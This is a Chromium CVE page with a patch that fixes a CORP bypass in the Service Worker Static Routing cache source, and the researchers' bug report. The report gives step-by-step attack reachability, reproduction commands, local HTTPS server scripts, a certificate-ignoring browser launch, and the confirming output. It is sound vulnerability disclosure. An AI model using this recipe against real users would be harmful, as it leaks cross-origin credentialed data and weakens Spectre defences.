CVE-2026-11206
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/common/service_worker/service_worker_resource_loader.cc |
modified | |
ifcontent/renderer/service_worker/service_worker_subresource_loader.cc |
modified |
Files Changed
content/browser/service_worker/service_worker_main_resource_loader.cccontent/common/service_worker/service_worker_resource_loader.cccontent/renderer/service_worker/service_worker_subresource_loader.cc
Patch
From 5046d3cddfac35b34e15bcf4afea7e85d17c30c5 Mon Sep 17 00:00:00 2001
From: Yoshisto Yanagisawa <yyanagisawa@chromium.org>
Date: Thu, 30 Apr 2026 23:49:27 -0700
Subject: [PATCH] Strengthen security for Service Worker Static Router
This CL addresses a security vulnerability where Cross-Origin Resource
Policy (CORP) could be bypassed when using the Service Worker Static
Routing API's cache source.
1. Ensure coverage for RaceNetworkAndCache
The CORP check condition is expanded to include
kRaceNetworkAndCache. This ensures that even when the static router
is in race mode and the cache source wins, the resulting response
is correctly validated before being committed.
(The feature is under construction but just in case)
2. Prevent "poisoned" synthesized responses
A CHECK is added to ensure that synthesized responses (those with
an empty url_list) are never marked as kOpaque. This prevents
potential attack vectors where a response claims to be
cross-origin/opaque while hiding its actual origin.
Bug: 505427216
Change-Id: Ifba499a8ca5742679aef26a6d6c80416e448ff1e
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7794699
Auto-Submit: Yoshisato Yanagisawa <yyanagisawa@chromium.org>
Reviewed-by: Shunya Shishido <sisidovski@chromium.org>
Commit-Queue: Yoshisato Yanagisawa <yyanagisawa@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1623731}
---
diff --git a/content/browser/service_worker/service_worker_main_resource_loader.cc b/content/browser/service_worker/service_worker_main_resource_loader.cc
index 3dd2dc4..8531d08a 100644
--- a/content/browser/service_worker/service_worker_main_resource_loader.cc
+++ b/content/browser/service_worker/service_worker_main_resource_loader.cc
@@ -912,25 +912,21 @@
cache_matcher_->cache_lookup_duration();
// Block invalid responses from the static router.
- if (response_head_->service_worker_router_info->matched_source_type ==
- network::mojom::ServiceWorkerRouterSourceType::kCache) {
- if (service_worker_client_ && service_worker_client_->container_host()) {
- ServiceWorkerContainerHostForClient* container_host =
- service_worker_client_->container_host();
- if (!IsValidStaticRouterResponse(
- resource_request_, response,
- container_host->policy_container_policies()
- .cross_origin_embedder_policy,
- container_host->cross_origin_embedder_policy_reporter().get(),
- container_host->policy_container_policies()
- .document_isolation_policy,
- container_host->document_isolation_policy_reporter().get()) &&
- base::FeatureList::IsEnabled(
- features::kServiceWorkerStaticRouterOpaqueCheck)) {
- CommitCompleted(net::ERR_FAILED,
- "Invalid response from static router");
- return;
- }
+ if (service_worker_client_ && service_worker_client_->container_host()) {
+ ServiceWorkerContainerHostForClient* container_host =
+ service_worker_client_->container_host();
+ if (!IsValidStaticRouterResponse(
+ resource_request_, response,
+ container_host->policy_container_policies()
+ .cross_origin_embedder_policy,
+ container_host->cross_origin_embedder_policy_reporter().get(),
+ container_host->policy_container_policies()
+ .document_isolation_policy,
+ container_host->document_isolation_policy_reporter().get()) &&
+ base::FeatureList::IsEnabled(
+ features::kServiceWorkerStaticRouterOpaqueCheck)) {
+ CommitCompleted(net::ERR_FAILED, "Invalid response from static router");
+ return;
}
}
}
diff --git a/content/common/service_worker/service_worker_resource_loader.cc b/content/common/service_worker/service_worker_resource_loader.cc
index 850623d..92449413 100644
--- a/content/common/service_worker/service_worker_resource_loader.cc
+++ b/content/common/service_worker/service_worker_resource_loader.cc
@@ -102,15 +102,21 @@
// response's URL list for the CORP check instead of the request URL to
// prevent a same-origin alias URL from bypassing the check.
// This matches the behavior in CrossOriginResourcePolicyChecker::IsBlocked.
- if (!response->url_list.empty() &&
- network::CrossOriginResourcePolicy::IsBlockedByHeaderValue(
- response->url_list.back(), response->url_list.front(),
- resource_request.request_initiator, corp_header_value,
- resource_request.mode, resource_request.destination,
- response->request_include_credentials, cross_origin_embedder_policy,
- is_enabled ? cross_origin_embedder_policy_reporter : nullptr,
- document_isolation_policy,
- is_enabled ? document_isolation_policy_reporter : nullptr)) {
+ if (response->url_list.empty()) {
+ // Synthesized responses must not be opaque.
+ CHECK_NE(response->response_type,
+ network::mojom::FetchResponseType::kOpaque);
+ CHECK_NE(response->response_type,
+ network::mojom::FetchResponseType::kOpaqueRedirect);
+ } else if (network::CrossOriginResourcePolicy::IsBlockedByHeaderValue(
+ response->url_list.back(), response->url_list.front(),
+ resource_request.request_initiator, corp_header_value,
+ resource_request.mode, resource_request.destination,
+ response->request_include_credentials,
+ cross_origin_embedder_policy,
+ is_enabled ? cross_origin_embedder_policy_reporter : nullptr,
+ document_isolation_policy,
+ is_enabled ? document_isolation_policy_reporter : nullptr)) {
if (is_enabled) {
is_valid = false;
result = CORPCheckResult::kBlocked;
diff --git a/content/renderer/service_worker/service_worker_subresource_loader.cc b/content/renderer/service_worker/service_worker_subresource_loader.cc
index a33d6c37..29addbfa 100644
--- a/content/renderer/service_worker/service_worker_subresource_loader.cc
+++ b/content/renderer/service_worker/service_worker_subresource_loader.cc
@@ -1496,20 +1496,16 @@
auto& response = result.value()->get_response();
// Block invalid responses from the static router.
- if (response_head_->service_worker_router_info &&
- response_head_->service_worker_router_info->matched_source_type ==
- network::mojom::ServiceWorkerRouterSourceType::kCache) {
- if (!IsValidStaticRouterResponse(
- resource_request_, response,
- controller_connector_->cross_origin_embedder_policy(),
- controller_connector_->cross_origin_embedder_policy_reporter(),
- controller_connector_->document_isolation_policy(),
- controller_connector_->document_isolation_policy_reporter()) &&
- base::FeatureList::IsEnabled(
- features::kServiceWorkerStaticRouterOpaqueCheck)) {
- CommitCompleted(net::ERR_FAILED, "Invalid response from static router");
- return;
- }
+ if (!IsValidStaticRouterResponse(
+ resource_request_, response,
+ controller_connector_->cross_origin_embedder_policy(),
+ controller_connector_->cross_origin_embedder_policy_reporter(),
+ controller_connector_->document_isolation_policy(),
+ controller_connector_->document_isolation_policy_reporter()) &&
+ base::FeatureList::IsEnabled(
+ features::kServiceWorkerStaticRouterOpaqueCheck)) {
+ CommitCompleted(net::ERR_FAILED, "Invalid response from static router");
+ return;
}
if (response->parsed_headers) {
Original Bug Report
Service Worker Static Routing API cache source bypasses CORP in crossOriginIsolated context (fix wiring ineffective)
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
The CORP enforcement that commit e2b91876eb013 (crbug/497436273) added for the Service Worker Static Routing API cache source is wired incorrectly and does not actually block cross-origin responses. Enabling kServiceWorkerStaticRouterCORPCheck (and, for completeness, kServiceWorkerStaticRouterOpaqueCheck) has no effect on the subresource-embed bypass. A page in a crossOriginIsolated (COEP:require-corp) context can embed a cross-origin credentialed opaque response whose bytes were stored by a Service Worker via cache.put(...) and routed through the Static Routing API cache source.
Root cause: content/common/service_worker/service_worker_resource_loader.cc:99-106 passes resource_request.url as both the request_url and original_url arguments to network::CrossOriginResourcePolicy::IsBlockedByHeaderValue:
if (network::CrossOriginResourcePolicy::IsBlockedByHeaderValue(
resource_request.url, resource_request.url,
resource_request.request_initiator, corp_header_value,
resource_request.mode, resource_request.destination,
response->request_include_credentials, cross_origin_embedder_policy,
is_enabled ? cross_origin_embedder_policy_reporter : nullptr,
document_isolation_policy,
is_enabled ? document_isolation_policy_reporter : nullptr)) {
resource_request.url is the SW-chosen cache key URL (for example a.test/service_worker/x), which is same-origin to the document because the attacker controls both the SW and the page. The CORP logic at services/network/public/cpp/cross_origin_resource_policy.cc:184-186 then derives target_origin from request_url and returns std::nullopt (allowed) on the same-origin short-circuit:
url::Origin target_origin = url::Origin::Create(request_url);
if (initiator == target_origin)
return std::nullopt;
The check should compare the response’s actual origin. The general CacheStorage CORP check at content/browser/cache_storage/cache_storage_dispatcher_host.cc:169-176 does this correctly:
return CrossOriginResourcePolicy::IsBlockedByHeaderValue(
response->url_list.back(), response->url_list.front(),
document_origin, corp_header_value, RequestMode::kNoCors,
...)
With the SW Static Router path using resource_request.url instead, the added CORP flag is a no-op for the cache source. A compromised origin in a crossOriginIsolated context still embeds cross-origin credentialed no-CORP responses as subresources, defeating the exact protection CORP was designed to enforce in COEP contexts against Spectre-style reads.
Scope distinction from the previously-addressed class: the surrounding issue family (static router cache source needs CORP/opaque enforcement) is tracked at crbug/495999481 and crbug/497436273. This report is not the class-level discovery. It is a defect in the CORP fix implementation that ships in current main. Turning the flag on via Finch would not close the bypass.
Reachability:
- Attacker controls origin
attacker.example. - Attacker’s page sets
Cross-Origin-Embedder-Policy: require-corpandCross-Origin-Opener-Policy: same-origin, reacheswindow.crossOriginIsolated === true. - Attacker SW does
fetch(victim, {mode: 'no-cors', credentials: 'include'})and stores the opaque response in a cache. - Attacker SW registers a router rule mapping a same-origin URL to the cache source.
- Attacker page embeds the same-origin URL as an
<img>. The image loads.naturalWidthandnaturalHeightare readable cross-origin.
With all fix flags enabled, the same attack succeeds.
Capability uplift:
- Cross-origin credentialed image dimensions are directly readable, defeating the CORP protection Chrome is rolling out.
- crossOriginIsolated context exposes SharedArrayBuffer and precise timers. CORP blocks cross-origin content from entering this process for Spectre-defence reasons. The bypass reopens Spectre-style side channels against any cross-origin resource the attacker chooses to cache.
VERSION
Chrome Version: built from main branch 2026-04-23, out/fuzz_asan with is_asan=true, commit tree at HEAD.
Operating System: Linux (debian bullseye sysroot), x86_64.
REPRODUCTION CASE REPRODUCTION CASE
Two attached files drive an end-to-end repro against stable Chrome. No Chromium build required.
Attached files:
POC-sw-static-router-CORP-bypass.html— attacker client page + driver script (origin A).POC-sw-static-router-CORP-bypass.sw.js— Service Worker script, saved assw.jsat origin A web root.
Setup (two distinct secure origins mapped to loopback):
-
Create web roots and drop the attached files:
mkdir -p /tmp/sw-poc/a /tmp/sw-poc/b cp POC-sw-static-router-CORP-bypass.html /tmp/sw-poc/a/index.html cp POC-sw-static-router-CORP-bypass.sw.js /tmp/sw-poc/a/sw.js # any 100x50 PNG works — keep the dimensions small so the leak is visible convert -size 100x50 xc:red /tmp/sw-poc/b/animated.png -
Generate a self-signed cert with SANs for both hostnames:
openssl req -x509 -newkey rsa:2048 -nodes -days 30 \ -keyout /tmp/sw-poc/key.pem -out /tmp/sw-poc/cert.pem \ -subj /CN=a.test \ -addext 'subjectAltName = DNS:a.test, DNS:b.test' -
Start origin A (COEP/COOP only on HTML;
sw.jsMUST NOT carry COEP or the worker inherits it and cannot fetch cross-origin):# /tmp/sw-poc/server_a.py import http.server, ssl class H(http.server.SimpleHTTPRequestHandler): def __init__(self, *a, **k): super().__init__(*a, directory='/tmp/sw-poc/a', **k) def end_headers(self): if self.path in ('/', '/index.html') or self.path.endswith('.html'): self.send_header('Cross-Origin-Embedder-Policy', 'require-corp') self.send_header('Cross-Origin-Opener-Policy', 'same-origin') super().end_headers() s = http.server.ThreadingHTTPServer(('0.0.0.0', 4443), H) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain('/tmp/sw-poc/cert.pem', '/tmp/sw-poc/key.pem') s.socket = ctx.wrap_socket(s.socket, server_side=True); s.serve_forever() -
Start origin B (no CORP header on the victim image):
# /tmp/sw-poc/server_b.py — identical to server_a but directory=/tmp/sw-poc/b, # port 4444, and empty end_headers() (no COEP/COOP/CORP). -
Launch Chrome against the loopback cert:
google-chrome \ --ignore-certificate-errors \ --host-resolver-rules='MAP a.test 127.0.0.1, MAP b.test 127.0.0.1' \ --user-data-dir=/tmp/sw-poc-profile \ https://a.test:4443/--ignore-certificate-errorsis required because Service Worker subresource fetches fail silently against untrusted certs (no interstitial bypass path inside the SW).mkcert+ OS trust store works too. -
In the browser: enter
https://b.test:4444/animated.pngas the victim URL and click Run POC. On first run the SW registers but is not yet controlling; reload the page once to finish controlling, then click Run POC again.
Expected output (runtime-confirmed on stable Chrome, 2026-04-23, all fix flags enabled via --enable-features=ServiceWorkerStaticRouterOpaqueCheck,ServiceWorkerStaticRouterCORPCheck):
isolation = {"crossOriginIsolated":true,"isSecureContext":true}
[1] register sw.js?https%3A%2F%2Fb.test%3A4444%2Fanimated.png
SW installed + controlling
[2] control: direct <img src="https://b.test:4444/animated.png">
{"status":"error"}
[3] attack: <img src="/service_worker/x"> (router -> cache -> victim)
{"status":"loaded","naturalWidth":100,"naturalHeight":50}
VERDICT
CORP BYPASS CONFIRMED — cross-origin opaque bytes embedded
leaked dimensions: 100x50
DevTools network panel shows the control request blocked as
ERR_BLOCKED_BY_RESPONSE.NotSameOriginAfterDefaultedToSameOriginByCoep — the exact CORP defence the attack sidesteps.
Interpretation:
crossOriginIsolated=trueconfirms the COEP context is active.- Control (direct cross-origin
<img>) fails with the standard CORP / defaulted-to-same-origin-by-COEP block. - Attack (
/service_worker/xvia router → cache → victim) loads.naturalWidthandnaturalHeightexpose information about the cross-origin credentialed response. Result is unchanged with both fix flags enabled.
Suggested fix: at content/common/service_worker/service_worker_resource_loader.cc:99, pass response->url_list.back() (and an appropriate entry for original_url) instead of resource_request.url, matching the pattern already used at cache_storage_dispatcher_host.cc:169-176.
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Not a crash. Cross-origin policy bypass.
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited? Reporter credit: David Bors, Catalin Iovita